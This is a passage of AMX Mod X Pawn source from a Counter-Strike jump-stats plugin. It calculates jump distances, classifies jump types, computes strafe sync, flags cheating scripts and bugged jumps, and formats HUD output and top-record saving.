							if(height_difference[id] < -1.0)
							{
								if((jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_StandUp_CountJump) && height_difference[id]==-18.0)
								{
									//ColorChat(id, GREEN, "ne reset");
								}
								else
								{	
									JumpReset(id,6);
									return FMRES_IGNORED;	
								}
							}	
						}
						if(jump_type[id]==Type_StandupBhopLongJump)
						{
							if(height_difference[id] > 1.0)
							failed_jump[id]=true; 
						}
						else if(height_difference[id] > 0.0 && jump_type[id]!=Type_Drop_BhopLongJump )
						{
							JumpReset(id,7);
							return FMRES_IGNORED; 
						}
						else if(height_difference[id] > 0.02 && jump_type[id]==Type_Drop_BhopLongJump )
						{
							failed_jump[id]=true; 
						}
					}
					
					if( is_user_ducking(id))
					{
						origin[2]+=18.0;
					}
					
					static Float:distance1;
					if(jump_type[id] == Type_ladder)
					{
						if(floatabs(jumpoff_origin[id][2]-origin[2])>4.0)
						{
							failed_jump[id]=true;
						}
						
						distance1 = get_distance_f( jumpoff_origin[id], origin )+laddist[id];
					}
					else distance1 = get_distance_f( jumpoff_origin[id], origin ) + 32.0;
					
					if( is_user_ducking(id) )
					{
						origin[2]-=18.0;
					}
					
					if( frame_velocity[id][1][0] < 0.0 ) frame_velocity[id][1][0] *= -1.0;
					if( frame_velocity[id][1][1] < 0.0 ) frame_velocity[id][1][1] *= -1.0;
					
					static Float:land_origin[3];
					
					land_origin[2] = frame_velocity[id][0][2] * frame_velocity[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (frame_origin[id][0][2] - origin[2]));
					
					rDistance[0] = (floatsqroot(land_origin[2]) * -1) - frame_velocity[id][1][2];
					rDistance[1] = get_pcvar_float(sv_gravity)*-1;
					
					frame2time = floatdiv(rDistance[0], rDistance[1]);
					if(frame_velocity[id][1][0] < 0 )
					frame_velocity[id][1][0] = frame_velocity[id][1][0]*-1;
					rDistance[0] = frame2time*frame_velocity[id][1][0];
						
					if( frame_velocity[id][1][1] < 0 )
					frame_velocity[id][1][1] = frame_velocity[id][1][1]*-1;
					rDistance[1] = frame2time*frame_velocity[id][1][1];
			
					if( frame_velocity[id][1][2] < 0 )
					frame_velocity[id][1][2] = frame_velocity[id][1][2]*-1;
					rDistance[2] = frame2time*frame_velocity[id][1][2];
					
					if( frame_origin[id][1][0] < origin[0] )
					land_origin[0] = frame_origin[id][1][0] + rDistance[0];
					else
					land_origin[0] = frame_origin[id][1][0] - rDistance[0];
					if( frame_origin[id][1][1] < origin[1] )
					land_origin[1] = frame_origin[id][1][1] + rDistance[1];
					else
					land_origin[1] = frame_origin[id][1][1] - rDistance[1];
					
					if( is_user_ducking(id) )
					{
						origin[2]+=18.0;
						duckstring[id]=true;
					}
			
					land_origin[2] = origin[2];
					
					frame2time += (last_land_time[id]-jumpoff_time[id]);
					
					static Float:distance2;
					if(jump_type[id] == Type_ladder)
					{
						distance2 = get_distance_f( jumpoff_origin[id], land_origin ) +laddist[id];
					}
					else distance2 = get_distance_f( jumpoff_origin[id], land_origin ) + 32.0;
					
					if(failed==true)
					{
						if(jump_type[id] == Type_ladder)
						{
							distance[id] = GetFailedDistance(laddist[id],failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
						}
						else distance[id] = GetFailedDistance(32.0,failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
					}
					else distance[id] = distance1 > distance2 ? distance2 : distance1; //distance
					
					
					new Float:Landing,bool:land_bug;
					
					if(jump_type[id]!=Type_ladder && distance[id]>64.0)
					{
						new Float:landing_orig[3];
						
						landing_orig=origin;
						landing_orig[2]=landing_orig[2]-36.1;
						
						Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
						if(distance[id]<(jumpblock[id]+edgedist[id]+Landing))
						{
							landing_orig=land_origin;
							landing_orig[2]=landing_orig[2]-36.1;
							
							Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
							Landing=Landing-0.06250;
							land_bug=true;
						}
						else land_bug=false;
					}
					
					if(!uq_noslow && entity_get_float(id,EV_FL_fuser2)==0.0 && jump_type[id] != Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(fps_hight[id] && jump_type[id]!=Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(duckbhop_bug_pre[id])
					{
						failed_jump[id]=true;
					}
					
					new tmp_dist,tmp_min_dist,tmp_maxdist,tmp_mindist_other;
					if(Pmaxspeed != 250.0 && jump_type[id]!=Type_ladder)
					{
						tmp_dist=floatround((250.0-Pmaxspeed)*0.73,floatround_floor);
						
						tmp_min_dist=min_distance-tmp_dist;
						
					}
					else tmp_min_dist=min_distance;
					
					tmp_maxdist=max_distance;
					tmp_mindist_other=min_distance_other;
					
					if(jump_type[id]!=Type_Bhop_In_Duck && jump_type[id]!=Type_Up_Bhop_In_Duck && jump_type[id]!=Type_Up_Stand_Bhop  && jump_type[id] != Type_Up_Bhop && jump_type[id] != Type_ladder && jump_type[id] != Type_Multi_Bhop && jump_type[id]!=Type_DuckBhop && jump_type[id]!=Type_Real_ladder_Bhop)
					{
						if( distance[id] < tmp_min_dist || tmp_maxdist < distance[id] )
						{
							JumpReset(id,8);
							return FMRES_IGNORED;
						}
					}
					else if( jump_type[id] == Type_ladder && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,9);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id] == Type_Multi_Bhop || jump_type[id]==Type_Real_ladder_Bhop) && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,10);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop ||  jump_type[id] == Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop)&& (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,11);
						return FMRES_IGNORED;
					}
					else if( jump_type[id]==Type_DuckBhop && (distance[id] > tmp_maxdist || distance[id] < tmp_min_dist-150))
					{
						JumpReset(id,1111);
						return FMRES_IGNORED;
					}
					
					
					
					if( jump_type[id] == Type_LongJump ) 
					{			
						oldjump_type[id]=1;
					}
					else oldjump_type[id]=0;
					
					if(jump_type[id] == Type_LongJump && detecthj[id]==1) 
					{
						jump_type[id] = Type_HighJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_HJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_HJ");
					}
					new Float:kkk;
							
					kkk=1.112*Pmaxspeed;
					
					if((jump_type[id] == Type_LongJump || jump_type[id] == Type_HighJump) && prestrafe[id]>kkk)
					{
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
					}
					if(touch_somthing[id])
					{
						failed_jump[id]=true;
					}
					if(trigger_protection[id])
					{
						failed_jump[id]=true;
					}
					new wpn,weapon_name[21],weapon_name1[21],clip,ammo;
					
					wpn = get_user_weapon(id,clip,ammo);
					if(wpn)
					{
						get_weaponname(wpn,weapon_name,20);
						get_weaponname(wpn,weapon_name1,20);
						
						replace(weapon_name,20,"weapon_","");
					}
					else formatex(weapon_name,20,"Unknow");
	
					new t_type;
					t_type=0;
					
					switch(jump_type[id])
					{
						case 0: t_type=1;
						case 1: t_type=1;
						case 2: t_type=2;
						case 9: t_type=2;
						case 11:t_type=2;
						case 6: t_type=2;
						case 7: t_type=2;
						case 15: t_type=2;
						case 17: t_type=2;
						case 18: t_type=2;
						case 19: t_type=2;
						case 3: t_type=3;
						case 5: t_type=3;
						case 21: t_type=3;
						case 22: t_type=3;
						case 13: t_type=4;
						case 23: t_type=5;
						case 24:t_type=5;
						case 12: t_type=6;
					}
					
					if(uq_bug==1 && check_for_bug_distance(distance[id],t_type,Pmaxspeed))
					{
						JumpReset(id,2311);
						return FMRES_IGNORED;
					}
					if(uq_bug==1)
					{
						new Float:b_check=2.1;
						
						if(jump_type[id]==Type_ladder)
						{
							b_check=b_check-0.1;
						}
						
						if((maxspeed[id]+prestrafe[id])/distance[id]<b_check)
						{
							JumpReset(id,23451);
							return FMRES_IGNORED;
						}
					}
					new god_dist,leet_dist,holy_dist,pro_dist,good_dist;
					new d_array[5];
					
					d_array=get_colorchat_by_distance(jump_type[id],Pmaxspeed,tmp_dist,dropaem[id],multiscj[id],aircj);
					god_dist=d_array[4];
					leet_dist=d_array[3];
					holy_dist=d_array[2];
					pro_dist=d_array[1];
					good_dist=d_array[0];
					
					new script_dist;
					if(angles_arry[id]>SCRIPTFRAMES && uq_script_detection)
					{
						script_dist=god_dist;
						
						switch(uq_script_work)
						{
							case 0:
								script_dist=good_dist;
							case 1:
								script_dist=pro_dist;
							case 2:
								script_dist=holy_dist;
							case 3:
								script_dist=leet_dist;
							case 4:
								script_dist=god_dist;
						}
					}
					
					new bool:not_save;
					if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && prestrafe[id]>kkk && !uq_noslow)
					{
						not_save=true;
					}
					else if(prestrafe[id]>Pmaxspeed*1.2 && !uq_noslow)
					{
						not_save=true;
					}
					else not_save=false;
					
					new bool:find_script;
					
					if(strafe_num[id]>4 && angles_arry[id]>SCRIPTFRAMES && uq_script_detection && distance[id]>script_dist && !not_save)
					{
						if(FullJumpFrames[id]>80)
							failed_jump[id]=true;
						else
							find_script=true;
					}
					
					//streifs stat
					sync_[id] = INFO_ZERO;
					strMess[0] = '^0'; //unnecessary?
					strMessBuf[0] = '^0'; //unnecessary?
					strLen = INFO_ZERO;
					badSyncTemp = INFO_ZERO;
					goodSyncTemp = INFO_ZERO;
					new Float:tmpstatspeed[NSTRAFES],Float:tmpstatpoteri[NSTRAFES];
								
					Fulltime = last_land_time[id]-jumpoff_time[id];
					if(strafe_num[id] < NSTRAFES)
					{
						strafe_stat_time[id][0] = jumpoff_time[id];
						strafe_stat_time[id][strafe_num[id]] =last_land_time[id];
						for(jj = 1;jj <= strafe_num[id]; jj++)
						{
							//client_print(id,print_chat,"%d=%d,%d - %d",jj,strafe_stat_sync[id][jj][0],strafe_stat_sync[id][jj][1],strafe_lost_frame[id][jj]);

							time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
							if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
							{
								sync_[id] =(strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer		
							}				
							else
							{
								sync_[id] = 0;
							}
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS1", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_[id]);
							goodSyncTemp += strafe_stat_sync[id][jj][0];
							badSyncTemp += strafe_stat_sync[id][jj][1];
							tmpstatspeed[jj]=strafe_stat_speed[id][jj][0];
							tmpstatpoteri[jj]=strafe_stat_speed[id][jj][1];
							
							if(tmpstatpoteri[jj]>200)
							{
								if(duckstring[id]==false)
								duckstring[id]=true;
							}
							if(tmpstatpoteri[jj]>200 && Checkframes[id])
							{
								Checkframes[id]=false;
								failed_jump[id]=true;
							}
						}
						//client_print(id,print_chat,"full=%d - %d,%d",FullJumpFrames[id],strafe_stat_sync[id][0][0],strafe_stat_sync[id][0][1]);

						if(strafe_num[id]!=0)
						{
							if (jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{	
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS2",strafe_stat_speed[id][0][0]);
							}
							if (duckstring[id]==false)
							{							
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS3");
							}
							if (jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_Up_Stand_Bhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS4");
							}
							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS5",weapon_name);
							}
							
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS6",jumpblock[id],edgedist[id]);
								}
								else if(land_bug)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS7",jumpblock[id],edgedist[id],Landing);
								}
								else strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS8",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS9",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS10",edgedist[id]);	
							}
							if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS11",upheight[id]);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS12");
							}
							if(ladderbug[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS13");
								failed_jump[id]=true;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS14");
								failed_jump[id]=true;
							}
							if(touch_somthing[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS15");
							}
							if(find_script)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS16");
								failed_jump[id]=true;
							}
							if(trigger_protection[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_TRIGGERPROTECT");
							}
						}
					}
					//Sync
					if( goodSyncTemp > 0 ) sync_[id]= (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
					else sync_[id] = INFO_ZERO;
					
					switch( jump_type[id] )
					{
						case 0: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE1"); //Lj
						case 1: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE2" ); //hj
						case 2: 
						{
							if(CjafterJump[id]==1)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE3" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE4" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE5" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE6" ); //cj
						}
						case 3: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE7" );//bj
						case 4: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE8" );//??
						case 5: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE9" );//sbj
						case 6: 
						{
							if(ddbeforwj[id]==false)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE10" ); //wj
							}
							else
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE11" );
							}
						}
						case 7: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE12" );
						case 9:
						{
							if(CjafterJump[id]==2)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE13" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE14" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE15" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE16" ); //dcj
						}
						case 11: 
						{
							if(CjafterJump[id]==3)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE17" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE18" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE19" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE20" );//mcj
						}
						case 12: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE21" );//nothing
						case 13: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE22" );//ld
						case 15: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE23" );
						case 16: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE24" );
						case 17: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE25" );
						case 18:
						{	
							if(multidropcj[id]==0)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE26" );
							}
							else if(multidropcj[id]==1)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE27" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDCJ");
							}
							else if(multidropcj[id]==2)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE28" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMCJ");
							}
						}
						case 19:
						{	if(dropaem[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE29" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPSCJ");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE30" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPDSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE31" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPMSCJ");
									
								}
							}
							else if(ddstandcj[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE32" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJAF");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE33" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJAF");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE34" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJAF");
								}
							}
							else
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE35" );
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE36" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE37" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJ");
								}
							}
						}
						case 20:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE38" );
						case 21:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE39" );
						case 22:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE40" );
						case 23:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE41");
						case 24:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE42");
					}
					//gain
					
					
					
					new Float:gain[33];
					gain[id] = floatsub( maxspeed[id], prestrafe[id] );
			
					if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && uq_drsbj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && uq_dscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && uq_mscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && uq_dropscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && uq_dropdscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && uq_dropmscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Double_CountJump&& uq_dcj==0)
					{
						JumpReset(id,13);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_CountJump && uq_mcj==0)
					{
						JumpReset(id,14);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_CountJump && uq_cj==0)
					{
						JumpReset(id,15);
						return FMRES_IGNORED;
					}
					else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && uq_lj==0)
					{
						JumpReset(id,16);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladder && uq_ladder==0)
					{
						JumpReset(id,17);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Bhop_In_Duck && (uq_bhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==0) ) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_BhopLongJump && uq_bj==0) 
					{
						JumpReset(id,19);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladderBhop && uq_ldbj==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Real_ladder_Bhop && uq_realldbhop==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_WeirdLongJump && uq_wj==0) 
					{
						JumpReset(id,21);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && uq_drcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && uq_dropdcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && uq_dropmcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_BhopLongJump && uq_drbj==0)
					{
						JumpReset(id,23);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Stand_Bhop && uq_upsbj==0)
					{
						JumpReset(id,24);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_Bhop && uq_multibhop==0)
					{
						JumpReset(id,242);
						return FMRES_IGNORED;
					}
					
					for(new i=1;i<NSTRAFES;i++)
					{
						if(tmpstatspeed[i]>40 && jump_type[id]!=Type_ladder && jump_type[id]!=Type_Real_ladder_Bhop && jump_type[id]!=Type_Slide)
						{
							JumpReset(id,40);
							return FMRES_IGNORED;
						}
					}
					
					if(jump_type[id]==Type_Multi_Bhop && multibhoppre[id]==false)
					{
						g_reset[id]=true;
						return FMRES_IGNORED;
					}
					if(!failed_jump[id] && !not_save)
					{
						new tmp_type_num=-1;
						
						//saving tops
						if(!ddstandcj[id] && !CjafterJump[id] && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2 && Pmaxspeed==250.0 && kz_top==1 && kz_map_top==1)
						{
							checkmap( id, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],Jtype1[id]); 
						}
						
						if(!CjafterJump[id] && jump_type[id]==Type_Double_CountJump && kz_top==1 && uq_dcj==1) 
						{
							if(kz_sql==0) 
							{
